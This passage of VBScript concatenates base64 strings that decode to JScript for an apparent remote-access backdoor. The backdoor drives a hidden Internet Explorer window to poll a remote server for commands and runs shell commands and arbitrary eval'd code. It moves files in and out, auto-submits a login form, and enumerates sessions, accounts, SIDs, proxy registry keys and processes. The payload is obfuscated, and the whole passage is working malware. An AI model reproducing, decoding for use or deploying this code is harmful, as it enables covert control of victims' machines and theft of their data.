      x = x & "Q29kZSk7fWNhdGNoKGVycil7fQ0KCQl9DQoJCQ0KCQlpZih0aGlzLmRzdFVybD09Jycpew0KCQkJcmV0dXJuOw0KCQl9DQoJCXRo"
      x = x & "aXMudHJ5QXV0aCgpOw0KCQl3b3JrSUUgPSB0aGlzLm9JRTsNCgkJdmFyIGlkbGVUaW1lcyA9IDA7DQoJCXZhciBpID0gMDsNCgkJ"
      x = x & "Zm9yKDs7KXsNCgkJCXRoaXMuc2V0V29ya0ZsYWcodGhpcy53b3JrRmxhZ1llcyk7DQoJCQlpZihpZGxlVGltZXMvMj09dGhpcy5p"
      x = x & "ZGxlU2Vjb25kQmVmb3JlRnJlc2gpew0KCQkJCXRoaXMuZnJlc2hJRSh3b3JrSUUpOw0KCQkJCWlkbGVUaW1lcyA9IDA7DQoJCQl9"
      x = x & "DQoJCQl2YXIgaWRsZVRoaXNUaW1lID0gdHJ1ZTsNCgkJCWlmKCsraT09OTk5OSlpPTA7DQoJCQlXU2NyaXB0LlNsZWVwKDUwMCk7"
      x = x & "DQoJCQl2YXIgc25kID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzbmQiKTsNCgkJCXZhciByY3YgPSB3b3JrSUUu"
      x = x & "RG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInJjdiIpOw0KCQkJdmFyIGRvd24gPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5"
      x = x & "SWQoImRvd24iKTsNCgkJCXZhciBkb3duQnRuID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJkb3duQnRuIik7DQoJ"
      x = x & "CQl2YXIgdXAgPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVwIik7DQoJCQl2YXIgdXBJZHggPSB3b3JrSUUuRG9j"
      x = x & "dW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVwSWR4Iik7DQoJCQlpZighc25kIHx8ICFyY3YgfHwgIWRvd24gfHwgIWRvd25CdG4gfHwg"
      x = x & "IXVwIHx8ICF1cElkeClicmVhazsNCgkJCQ0KCQkJdHJ5ew0KCQkJCWlmKGklKHRoaXMuZG93bkludGVydmFsKjIpPT0wICYmIGRv"
      x = x & "d24uaW5uZXJUZXh0Lmxlbmd0aD09MCAmJiB0aGlzLmRvd25JbmRleDx0aGlzLmRvd25Db3VudCAmJiB0aGlzLm9GUy5GaWxlRXhp"
      x = x & "c3RzKHRoaXMuZG93bkZpbGUpKXsNCgkJCQkJaWRsZVRoaXNUaW1lID0gZmFsc2U7DQoJCQkJCWlmKFdTY3JpcHQuQ3JlYXRlQmxv"
      x = x & "Y2tGaWxlKHRoaXMuZG93bkZpbGUsIHRoaXMuZG93bk9uY2UsIHRoaXMuZG93bkluZGV4KSl7DQoJCQkJCQlmID0gdGhpcy5vRlMu"
      x = x & "R2V0RmlsZSh0aGlzLmRvd25GaWxlKTsNCgkJCQkJCWRmUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcJyArIGYuTmFtZSArICd+JyAr"
      x = x & "IHRoaXMuZG93bkluZGV4Ow0KCQkJCQkJRm9yUmVhZGluZyA9IDE7DQoJCQkJCQlkZiA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShk"
      x = x & "ZlBhdGgsIEZvclJlYWRpbmcpOw0KCQkJCQkJZG93bkRhdGEgPSBkZi5SZWFkQWxsKCk7DQoJCQkJCQlkZi5DbG9zZSgpOw0KCQkJ"
      x = x & "CQkJdGhpcy5vRlMuRGVsZXRlRmlsZShkZlBhdGgpOw0KCQkJCQkJZG93bi5pbm5lclRleHQgPSB0aGlzLmVuY29kZSh0aGlzLmNh"
      x = x & "c2VEb3duRmlsZURhdGEgKyBkb3duRGF0YSk7DQoJCQkJCQkrK3RoaXMuZG93bkluZGV4Ow0KCQkJCQkJaWYodGhpcy5kb3duSW5k"
      x = x & "ZXg9PXRoaXMuZG93bkNvdW50KXsNCgkJCQkJCQl0aGlzLmRvd25PayA9IHRydWU7DQoJCQkJCQkJdGhpcy5kb3duRW5kID0gdGhp"
      x = x & "cy5ub3coKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlkb3duQnRuLmNsaWNrKCk7DQoJCQl9Y2F0Y2goZSl7fQ0KCQkJ"
      x = x & "DQoJCQl0cnl7DQoJCQkJdXBEYXRhID0gdXAuaW5uZXJUZXh0Ow0KCQkJCWlmKGklKHRoaXMudXBJbnRlcnZhbCoyKT09MCAmJiB1"
      x = x & "cERhdGEubGVuZ3RoPjAgJiYgdGhpcy51cEluZGV4PHRoaXMudXBDb3VudCl7DQoJCQkJCWlkbGVUaGlzVGltZSA9IGZhbHNlOw0K"
      x = x & "CQkJCQlwdXRSZXMgPSAwOw0KCQkJCQl0cnl7cHV0UmVzID0gV1NjcmlwdC5QdXRCbG9ja1RvRmlsZSh0aGlzLnVwRmlsZSwgdGhp"
      x = x & "cy51cE9uY2UsIHRoaXMudXBJbmRleCwgdXBEYXRhKTt9Y2F0Y2goZSl7fQ0KCQkJCQlpZihwdXRSZXMpew0KCQkJCQkJKyt0aGlz"
      x = x & "LnVwSW5kZXg7DQoJCQkJCQlpZih0aGlzLnVwSW5kZXg9PXRoaXMudXBDb3VudCl7DQoJCQkJCQkJdXBJZHguaW5uZXJUZXh0ID0g"
      x = x & "Jy0xJzsNCgkJCQkJCQl0aGlzLnVwT2sgPSB0cnVlOw0KCQkJCQkJCXRoaXMudXBFbmQgPSB0aGlzLm5vdygpOw0KCQkJCQkJfQ0K"
      x = x & "CQkJCQl9ZWxzZXsNCgkJCQkJCXRoaXMudXBPaz10cnVlOw0KCQkJCQkJdGhpcy51cENvdW50PTA7DQoJCQkJCX0NCgkJCQkJdXAu"
      x = x & "aW5uZXJUZXh0ID0gJyc7DQoJCQkJfQ0KCQkJCWlmKCF0aGlzLnVwT2spew0KCQkJCQl1cElkeC5pbm5lclRleHQgPSB0aGlzLnVw"
      x = x & "SW5kZXg7DQoJCQkJfQ0KCQkJfWNhdGNoKGUpe30NCgkJCQ0KCQkJdmFyIHJlY3ZEYXRhID0gcmN2LmlubmVyVGV4dDsNCgkJCWlm"
      x = x & "KHJlY3ZEYXRhLmxlbmd0aD4wKXsNCgkJCQlpZGxlVGhpc1RpbWUgPSBmYWxzZTsNCgkJCQlyY3YuaW5uZXJUZXh0ID0gJyc7DQoJ"
      x = x & "CQkJaWYocmVjdkRhdGE9PXRoaXMuY2FzZVJlYXV0aCl7DQoJCQkJCXRoaXMudHJ5QXV0aCgpOw0KCQkJCQljb250aW51ZTsNCgkJ"
      x = x & "CQl9DQoJCQkJaWYocmVjdkRhdGEubGVuZ3RoPjMpew0KCQkJCQl0aGlzLnNldFdvcmtGbGFnKHRoaXMud29ya0ZsYWdObyk7DQoJ"
      x = x & "CQkJCXNuZC5pbm5lclRleHQgPSB0aGlzLmNhc2VIYW5kbGVyKHJlY3ZEYXRhKTsNCgkJCQl9DQoJCQl9DQoJCQlpZihpZGxlVGhp"
      x = x & "c1RpbWUpeysraWRsZVRpbWVzO30NCgkJfQ0KCX0sDQoJDQoJY2FzZUhhbmRsZXI6ZnVuY3Rpb24ocmVjdkRhdGEpew0KCQl2YXIg"
      x = x & "dG1wID0gdGhpcy5kZWNvZGUocmVjdkRhdGEpOw0KCQljYXNlU3RyID0gdG1wLnN1YnN0cmluZygwLCAzKS50b0xvd2VyQ2FzZSgp"
      x = x & "Ow0KCQlkYXRhID0gdG1wLnN1YnN0cmluZygzKTsNCgkJc3dpdGNoKGNhc2VTdHIpDQoJCXsNCgkJCWNhc2UgdGhpcy5jYXNlRXhl"
      x = x & "Y0NtZDoNCgkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlRXhlY0NtZCArIHRoaXMubm93KCkgKyAnXG4nICsgdGhpcy5l"
      x = x & "eGVjV2l0aENTY3JpcHQoZGF0YSwgMTApKTsNCgkJCWNhc2UgdGhpcy5jYXNlRG93bkZpbGU6DQoJCQkJdHJ5ew0KCQkJCQlXU2Ny"
      x = x & "aXB0LkNoZWNrVXBBbmREb3duKCk7DQoJCQkJCWZpbGVQYXRoID0gZGF0YTsNCgkJCQkJZmlsZVNpemUgPSAwOw0KCQkJCQl0cnl7"
      x = x & "ZmlsZVNpemUgPSB0aGlzLm9GUy5HZXRGaWxlKGZpbGVQYXRoKS5TaXplO31jYXRjaChlKXt9DQoJCQkJCWNvdW50ID0gTWF0aC5m"
      x = x & "bG9vcihmaWxlU2l6ZS90aGlzLmRvd25PbmNlKSArIChmaWxlU2l6ZSV0aGlzLmRvd25PbmNlPT0wID8gMCA6IDEpOw0KCQkJCQlp"
      x = x & "Zihjb3VudD4wKXsNCgkJCQkJCXRoaXMuZG93bkZpbGUgPSBmaWxlUGF0aDsNCgkJCQkJCXRoaXMuZG93blNpemUgPSBmaWxlU2l6"
      x = x & "ZTsNCgkJCQkJCXRoaXMuZG93bkNvdW50ID0gY291bnQ7DQoJCQkJCQl0aGlzLmRvd25JbmRleCA9IDA7DQoJCQkJCQl0aGlzLmRv"
      x = x & "d25PayA9IGZhbHNlOw0KCQkJCQkJdGhpcy5kb3duU3RhcnQgPSB0aGlzLm5vdygpOw0KCQkJCQkJdGhpcy5kb3duRW5kID0gJyc7"
      x = x & "DQoJCQkJCX0NCgkJCQkJcmV0dXJuIHRoaXMuZW5jb2RlKHRoaXMuY2FzZURvd25GaWxlICsgdGhpcy5ub3coKSArICdcbicgKyBm"
      x = x & "aWxlUGF0aCArICdcbmRvd25Db3VudD0nICsgY291bnQgDQoJCQkJCQkrICdcbmRvd25TaXplPScgKyBmaWxlU2l6ZSArICdcbkRv"
      x = x & "d25SZXEgUmVjdmVkIScpOw0KCQkJCX1jYXRjaChlKXsNCgkJCQkJcmV0dXJuIHRoaXMuZW5jb2RlKHRoaXMuY2FzZURvd25GaWxl"
      x = x & "ICsgdGhpcy5ub3coKSArICdcbicgKyAnRG93bmxvYWQgTm90IFN1cHBvcnRlZCEnKTsNCgkJCQl9DQoJCQljYXNlIHRoaXMuY2Fz"
      x = x & "ZVVwRmlsZToNCgkJCQlhcmdBcnIgPSBkYXRhLnNwbGl0KHRoaXMuc3BsaXRDaGFyKTsNCgkJCQlpZihhcmdBcnIubGVuZ3RoPT0y"
      x = x & "KXsNCgkJCQkJdXBQYXRoID0gYXJnQXJyWzBdOw0KCQkJCQl1cERhdGEgPSBhcmdBcnJbMV07DQoJCQkJCXNpemUgPSB0aGlzLmJh"
      x = x & "c2U2NFRvRmlsZSh1cFBhdGgsIHVwRGF0YSk7DQoJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlz"
      x = x & "Lm5vdygpICsgJ1xuJyArIHVwUGF0aCArICdcbicgKyBzaXplICsgJ1xuVXBsb2FkIE9LIScpOw0KCQkJCX1lbHNlIGlmKGFyZ0Fy"
      x = x & "ci5sZW5ndGg9PTQpew0KCQkJCQl0cnl7DQoJCQkJCQlXU2NyaXB0LkNoZWNrVXBBbmREb3duKCk7DQoJCQkJCQl0aGlzLnVwRmls"
      x = x & "ZSA9IGFyZ0FyclswXTsNCgkJCQkJCWFjY2Vzc1RvV3JpdGUgPSB0cnVlOw0KCQkJCQkJdHJ5e2ZUZXN0PXRoaXMub0ZTLkNyZWF0"
      x = x & "ZVRleHRGaWxlKHRoaXMudXBGaWxlLCB0cnVlKTtmVGVzdC5DbG9zZSgpO31jYXRjaChlKXthY2Nlc3NUb1dyaXRlPWZhbHNlO30N"
      x = x & "CgkJCQkJCWlmKGFjY2Vzc1RvV3JpdGUpew0KCQkJCQkJCXRoaXMudXBTaXplID0gYXJnQXJyWzFdOw0KCQkJCQkJCXRoaXMudXBP"
      x = x & "bmNlID0gYXJnQXJyWzJdOw0KCQkJCQkJCXRoaXMudXBDb3VudCA9IGFyZ0FyclszXTsNCgkJCQkJCQl0aGlzLnVwSW5kZXggPSAw"
      x = x & "Ow0KCQkJCQkJCXRoaXMudXBPayA9IGZhbHNlOw0KCQkJCQkJCXRoaXMudXBTdGFydCA9IHRoaXMubm93KCk7DQoJCQkJCQkJdGhp"
      x = x & "cy51cEVuZCA9ICcnOw0KCQkJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xu"
      x = x & "dXBGaWxlPScgKyB0aGlzLnVwRmlsZSArICdcbnVwU2l6ZT0nICt0aGlzLnVwU2l6ZSANCgkJCQkJCQkJKyAnXG51cE9uY2U9JyAr"
      x = x & "IHRoaXMudXBPbmNlICsgJ1xudXBDb3VudD0nICt0aGlzLnVwQ291bnQgKyAnXG5VcFJlcSBSZWN2ZWQhJyk7DQoJCQkJCQl9ZWxz"
      x = x & "ZXsNCgkJCQkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlVXBGaWxlICsgdGhpcy5ub3coKSArICdcbnVwRmlsZT0nICsg"
      x = x & "dGhpcy51cEZpbGUgKyAnXG5Ob0FjY2Vzc1RvV3JpdGUhJyk7DQoJCQkJCQl9DQoJCQkJCX1jYXRjaChlKXsNCgkJCQkJCXJldHVy"
      x = x & "biB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArICdVcGxvYWQgQmlnRmlsZSBOb3QgU3Vw"
      x = x & "cG9ydGVkIScpOw0KCQkJCQl9DQoJCQkJfWVsc2V7DQoJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0"
      x = x & "aGlzLm5vdygpICsgJ1xuJyArICdVcEFyZyBFcnIhJyk7DQoJCQkJfQ0KCQkJY2FzZSB0aGlzLmNhc2VDb2RlOg0KCQkJCXJldD0n"
      x = x & "JzsNCgkJCQl0cnl7d2l0aChvcnope2V2YWwoZGF0YSk7fX1jYXRjaChlcnIpe3JldD10aGlzLmVyck9ialRvU3RyKGVycik7fQ0K"
      x = x & "CQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VDb2RlICsgdGhpcy5ub3coKSArICdcbicgKyByZXQpOw0KCQkJZGVmYXVs"
      x = x & "dDoNCgkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlRXhlY0NtZCArIHRoaXMubm93KCkgKyAnXG4nICsgJ3Vua25vd24g"
      x = x & "Y2FzZTogJytjYXNlU3RyKydcbicrdG1wKTsNCgkJfQ0KCX0sDQoJDQoJZ2V0Q29uZmlnOmZ1bmN0aW9uKCl7DQoJCXdvcmtJRSA9"
      x = x & "IHRoaXMub0lFOw0KCQlmb3IodmFyIGkgaW4gdGhpcy5qbXBVcmxMaXN0KXsNCgkJCW9rID0gZmFsc2U7DQoJCQl0aGlzLmptcFVy"
      x = x & "bCA9IHRoaXMuam1wVXJsTGlzdFtpXTsNCgkJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuam1wVXJsKTsNCgkJCQ0KCQkJ"
      x = x & "am1wUmVzID0gdGhpcy5qbXBSZWdleC5leGVjKHdvcmtJRS5Eb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJIVE1MKTsNCgkJ"
      x = x & "CWlmKGptcFJlcyl7DQoJCQkJdGhpcy5kc3RVcmwgPSB0aGlzLmRlY29kZShqbXBSZXNbMV0pOw0KCQkJCW9rID0gdHJ1ZTsNCgkJ"
      x = x & "CX0NCgkJCWNvZGVSZXMgPSB0aGlzLmNvZGVSZWdleC5leGVjKHdvcmtJRS5Eb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJI"
      x = x & "VE1MKTsNCgkJCWlmKGNvZGVSZXMpew0KCQkJCXRoaXMuaW5pdENvZGUgPSB0aGlzLmRlY29kZShjb2RlUmVzWzFdKTsNCgkJCQlv"
      x = x & "ayA9IHRydWU7DQoJCQl9DQoJCQlpZihvayl7YnJlYWs7fQ0KCQkJV1NjcmlwdC5TbGVlcCgzMDAwKTsNCgkJfQ0KCX0sDQoJDQoJ"
      x = x & "c2V0V29ya0ZsYWc6ZnVuY3Rpb24oZmxhZyl7DQoJCXZhciB3b3JrRmxhZyA9IHRoaXMub0lFLkRvY3VtZW50LmdldEVsZW1lbnRC"
      x = x & "eUlkKHRoaXMud29ya0ZsYWdJZCk7DQoJCWlmKHdvcmtGbGFnKXsNCgkJCXdvcmtGbGFnLmlubmVyVGV4dCA9IGZsYWc7DQoJCX0N"
      x = x & "Cgl9LA0KCQ0KCXRyeUF1dGg6ZnVuY3Rpb24oKXsNCgkJd29ya0lFID0gdGhpcy5vSUU7DQoJCXRoaXMubmF2aWdhdGVJRSh3b3Jr"
      x = x & "SUUsIHRoaXMuZHN0VXJsKTsNCgkJdmFyIGxvZ2luRm9ybSA9IHdvcmtJRS5Eb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLmxv"
      x = x & "Z2luRm9ybUlkKTsNCgkJdmFyIHVzZXJuYW1lID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMudUlkKTsNCgkJ"
      x = x & "dmFyIHBhc3N3b3JkID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMucElkKTsNCgkJdmFyIHZhbGljb2RlID0g"
      x = x & "d29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMudklkKTsNCgkJdmFyIHN1Ym1pdCA9IHdvcmtJRS5Eb2N1bWVudC5n"
      x = x & "ZXRFbGVtZW50QnlJZCh0aGlzLnNJZCk7DQoJCWlmKCFsb2dpbkZvcm0gfHwgIXVzZXJuYW1lIHx8ICFwYXNzd29yZCB8fCAhdmFs"
      x = x & "aWNvZGUgfHwgIXN1Ym1pdCl7DQoJCQlyZXR1cm47DQoJCX0NCgkJbG9naW5Gb3JtLmFjdGlvbiA9IHRoaXMubG9naW5BY3Rpb247"
      x = x & "DQoJCXVzZXJuYW1lLm5hbWUgPSB0aGlzLnVOYW1lOw0KCQl1c2VybmFtZS52YWx1ZSA9IHRoaXMuaWQ7DQoJCXBhc3N3b3JkLm5h"
      x = x & "bWUgPSB0aGlzLnBOYW1lOw0KCQlwYXNzd29yZC52YWx1ZSA9IHRoaXMuaWQuc3BsaXQoIiIpLnJldmVyc2UoKS5qb2luKCIiKTsN"
      x = x & "CgkJdmFsaWNvZGUubmFtZSA9IHRoaXMudk5hbWU7DQoJCXZhbGljb2RlLnZhbHVlID0gdGhpcy52YWxpY29kZTsNCgkJc3VibWl0"
      x = x & "LmNsaWNrKCk7DQoJCS8qTk9TbGVlcCovDQoJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuZHN0VXJsKTsNCgl9LA0KCQ0K"
      x = x & "CWNyZWF0ZUlFOmZ1bmN0aW9uKHVybCl7DQoJCXZhciBpZSA9IG51bGw7DQoJCWZvcig7Oyl7DQoJCQl0cnl7DQoJCQkJaWUgPSBu"
      x = x & "ZXcgQWN0aXZlWE9iamVjdCgnSW50ZXJuZXRFeHBsb3Jlci5BcHBsaWNhdGlvbicpOw0KCQkJCWllLlZpc2libGUgPSB0aGlzLmJE"
      x = x & "ZWJ1ZzsNCgkJCQlpZS5TaWxlbnQgPSB0cnVlOw0KCQkJCQ0KCQkJCXJlYWxVcmwgPSB1cmw/dXJsOnRoaXMuaW5pdFVybA0KCQkJ"
      x = x & "CXRoaXMubmF2aWdhdGVJRShpZSwgcmVhbFVybCk7CQkJCQ0KCQkJCWJyZWFrOw0KCQkJfWNhdGNoKGVycil7V1NjcmlwdC5TbGVl"
      x = x & "cCgxMDAwKTt9DQoJCX0NCgkJcmV0dXJuIGllOw0KCX0sDQoJDQoJZnJlc2hJRTpmdW5jdGlvbihpZSl7DQoJCXZhciBSRUZSRVNI"
      x = x & "X0NPTVBMRVRFTFkgPSAzOw0KCQlpZS5SZWZyZXNoMihSRUZSRVNIX0NPTVBMRVRFTFkpOw0KCQl0aGlzLndhaXRJRShpZSk7DQoJ"
      x = x & "fSwNCgkNCgluYXZpZ2F0ZUlFOmZ1bmN0aW9uKGllLCB1cmwpew0KCQl2YXIgaTsNCgkJZm9yKGk9MDtpPDM7KytpKXsNCgkJCXRy"
      x = x & "eXsNCgkJCQluYXZOb0hpc3RvcnkgPSAweDI7DQoJCQkJaWUuTmF2aWdhdGUodXJsLCBuYXZOb0hpc3RvcnksICJfc2VsZiIpOw0K"
      x = x & "CQkJCXRoaXMud2FpdElFKGllKTsNCgkJCQlicmVhazsNCgkJCX1jYXRjaChlcnIpe1dTY3JpcHQuU2xlZXAoNTAwKTt9DQoJCX0N"
      x = x & "CgkJcmV0dXJuIGkhPTM7DQoJfSwNCgkNCgl3YWl0SUU6ZnVuY3Rpb24oaWUpew0KCQl0cnl7DQoJCQlXU2NyaXB0LlNsZWVwKDEw"
      x = x & "MCk7DQoJCQl3aGlsZShpZS5SZWFkeVN0YXRlIT00IHx8IGllLkJ1c3kgfHwgIWllLkRvY3VtZW50KXtXU2NyaXB0LlNsZWVwKDEw"
      x = x & "KTt9DQoJCX1jYXRjaChlcnIpe30NCgl9LA0KCQ0KCS8qKioqKioqKioqKioqKioqKioqKiBGdW5jICoqKioqKioqKioqKioqKioq"
      x = x & "KioqLw0KCXFTZXNzaW9uOmZ1bmN0aW9uKCl7DQoJCXJlcyA9ICcnOw0KCQllID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIu"
      x = x & "RXhlY1F1ZXJ5KCdTZWxlY3QgKiBGcm9tIFdpbjMyX1Nlc3Npb24nKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyFlLmF0RW5kKCk7"
      x = x & "ZS5tb3ZlTmV4dCgpKXsNCgkJCXMgPSBlLml0ZW0oKTsNCgkJCXJlcyArPSBzLk5hbWUrJyAnK3MuQ2FwdGlvbisnICcrcy5EZXNj"
      x = x & "cmlwdGlvbisnICcrcy5Mb2dvblR5cGUudG9TdHJpbmcoKSsnXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglnZXRB"
      x = x & "bGxVc2VyU2lkOmZ1bmN0aW9uKCl7DQoJCXJlcyA9ICcnOw0KCQlxdWVyeVN0ciA9ICdTZWxlY3QgKiBGcm9tIFdpbjMyX0FjY291"
      x = x & "bnQgd2hlcmUgU0lEVHlwZT0xIGFuZCBMb2NhbEFjY291bnQ9VFJVRSc7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12"
      x = x & "Mi5FeGVjUXVlcnkocXVlcnlTdHIpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7IWUuYXRFbmQoKTtlLm1vdmVOZXh0KCkpew0KCQkJ"
      x = x & "YWNjID0gZS5pdGVtKCk7DQoJCQlyZXMgKz0gYWNjLkRvbWFpbisnXFwnK2FjYy5OYW1lKyd8JythY2MuU0lEKyd8JythY2MuRGVz"
      x = x & "Y3JpcHRpb24rJ1xuJzsNCgkJfQ0KCQlyZXR1cm4gcmVzOw0KCX0sDQoJcHJveHk6ZnVuY3Rpb24oKXsNCgkJbGluZXMgPSB0aGlz"
      x = x & "LmdldEFsbFVzZXJTaWQoKS5zcGxpdCgnXG4nKTsNCgkJcmVzID0gJyc7DQoJCWZvcih2YXIgaSBpbiBsaW5lcyl7DQoJCQlpZigh"
      x = x & "bGluZXNbaV0ubGVuZ3RoKWNvbnRpbnVlOw0KCQkJaW5mbyA9IGxpbmVzW2ldLnNwbGl0KCd8Jyk7DQoJCQljb21tZW50ID0gaW5m"
      x = x & "b1swXSsnICcraW5mb1syXTsNCgkJCXJlcyArPSAnWycraSsnXSAnICsgY29tbWVudCArICdcbic7DQoJCQlzaWQgPSBpbmZvWzFd"
      x = x & "DQoJCQl0cnl7DQoJCQkJcmVzICs9ICdQcm94eUVuYWJsZT0nK3RoaXMub1NoZWxsLlJlZ1JlYWQoJ0hLRVlfVVNFUlNcXCcrc2lk"
      x = x & "KydcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxJbnRlcm5ldCBTZXR0aW5nc1xcUHJveHlF"
      x = x & "bmFibGUnKTsNCgkJCQlyZXMgKz0gJ1xuJzsNCgkJCQlyZXMgKz0gJ1Byb3h5U2VydmVyPScrdGhpcy5vU2hlbGwuUmVnUmVhZCgn"
      x = x & "SEtFWV9VU0VSU1xcJytzaWQrJ1xcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEludGVybmV0"
      x = x & "IFNldHRpbmdzXFxQcm94eVNlcnZlcicpOw0KCQkJCXJlcyArPSAnXG4nOw0KCQkJfWNhdGNoKGUpe30NCgkJCXJlcyArPSAnXG4n"
      x = x & "Ow0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglwTGlzdDpmdW5jdGlvbigpew0KCQlyZXMgPSAnJzsNCgkJcHJvY0xpc3Qg"
      x = x & "PSBbXTsNCgkJYmFuZGVyTGlzdCA9IFsnTmFtZScsJ1Byb2Nlc3NJZCcsJ1Nlc3Npb25JZCcsJ2NvbW1hbmRsaW5lJ107DQoJCXNw"
      x = x & "bGl0Q2hhciA9ICcgJzsNCgkJbWF4TGVuTGlzdCA9IFtdOw0KCQl2YXIgZSA9IG5ldyBFbnVtZXJhdG9yKHRoaXMub0NpbXYyLkV4"
      x = x & "ZWNRdWVyeSgnc2VsZWN0ICogZnJvbSBXaW4zMl9Qcm9jZXNzJykpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsg"
      x = x & "ZS5tb3ZlTmV4dCgpKXsNCgkJCXByb2MgPSBlLml0ZW0oKTsNCgkJCXByb2NMaXN0LnB1c2gocHJvYyk7DQoJCX0NCgkJZm9yKGkg"
      x = x & "aW4gYmFuZGVyTGlzdCl7DQoJCQliYW5kZXIgPSBiYW5kZXJMaXN0W2ldOw0KCQkJbWF4TGVuID0gYmFuZGVyLmxlbmd0aCArIDI7"
      x = x & "DQoJCQlmb3IoaiBpbiBwcm9jTGlzdCl7DQoJCQkJcHJvYyA9IHByb2NMaXN0W2pdOw0KCQkJCXByb3BlcnR5ID0gcHJvYy5Qcm9w"
      x = x & "ZXJ0aWVzXy5pdGVtKGJhbmRlcikgKyAnICc7DQoJCQkJbGVuID0gcHJvcGVydHkubGVuZ3RoOw0KCQkJCWlmKGxlbj5tYXhMZW4p"
      x = x & "bWF4TGVuPWxlbjsNCgkJCX0NCgkJCW1heExlbkxpc3RbaV0gPSBtYXhMZW47DQoJCX0NCgkJDQoJCWZvcihpIGluIGJhbmRlckxp"
      x = x & "c3Qpew0KCQkJZWxlID0gYmFuZGVyTGlzdFtpXTsNCgkJCXJlcyArPSBlbGU7DQoJCQlpZihpPGJhbmRlckxpc3QubGVuZ3RoLTEp"
      x = x & "Zm9yKGo9ZWxlLmxlbmd0aDtqPG1heExlbkxpc3RbaV07KytqKXJlcys9c3BsaXRDaGFyOw0KCQl9DQoJCXJlcys9J1xuJzsNCgkJ"
      x = x & "Zm9yKGkgaW4gcHJvY0xpc3Qpew0KCQkJcHJvYyA9IHByb2NMaXN0W2ldOw0KCQkJZm9yKGogaW4gYmFuZGVyTGlzdCl7DQoJCQkJ"
      x = x & "ZWxlID0gcHJvYy5Qcm9wZXJ0aWVzXy5pdGVtKGJhbmRlckxpc3Rbal0pICsgJyAnOw0KCQkJCXJlcyArPSBlbGU7DQoJCQkJaWYo"
      x = x & "ajxiYW5kZXJMaXN0Lmxlbmd0aC0xKWZvcihrPWVsZS5sZW5ndGg7azxtYXhMZW5MaXN0W2pdOysraylyZXMrPXNwbGl0Q2hhcjsN"
      x = x & "CgkJCX0NCgkJCXJlcys9J1xuJzsNCgkJfQ0KCQlyZXR1cm4gcmVzOw0KCX0sDQoJDQoJaW5BcnJheTpmdW5jdGlvbihhcnIsIGl0"
      x = x & "ZW0pew0KCQlmb3IoaT0wO2k8YXJyLmxlbmd0aDsrK2kpew0KCQkJaWYoYXJyW2ldLnRvTG93ZXJDYXNlKCk9PWl0ZW0udG9Mb3dl"
      x = x & "ckNhc2UoKSlicmVhazsNCgkJfQ0KCQlyZXR1cm4gaTxhcnIubGVuZ3RoOw0KCX0sDQoJcEluZm86ZnVuY3Rpb24ocGlkLCBxdWVy"
      x = x & "eSl7DQoJCWlmKHF1ZXJ5IT1udWxsKXsNCgkJCXF1ZXJ5ID0gcXVlcnkucmVwbGFjZSgvXHMvZywgJycpOw0KCQkJcXVlcnlBcnJh"
      x = x & "eSA9IHF1ZXJ5LnNwbGl0KCcsJyk7DQoJCX0NCgkJcmVzID0gJ1BJRD0nICsgcGlkLnRvU3RyaW5nKCkrJ1xuJzsNCgkJdmFyIGUg"
      x = x & "PSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQ"
      x = x & "cm9jZXNzSWQ9JyArIHBpZC50b1N0cmluZygpKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0"
      x = x & "KCkpew0KCQkJcHJvYyA9IGUuaXRlbSgpOw0KCQkJbWV0aG9kID0gcHJvYy5NZXRob2RzXy5JdGVtKCdHZXRPd25lcicpOw0KCQkJ"
      x = x & "b3V0UGFyYW1zID0gcHJvYy5FeGVjTWV0aG9kXyhtZXRob2QuTmFtZSwgbnVsbCk7DQoJCQlyZXMgKz0gJ093bmVyID0gJyArIG91"
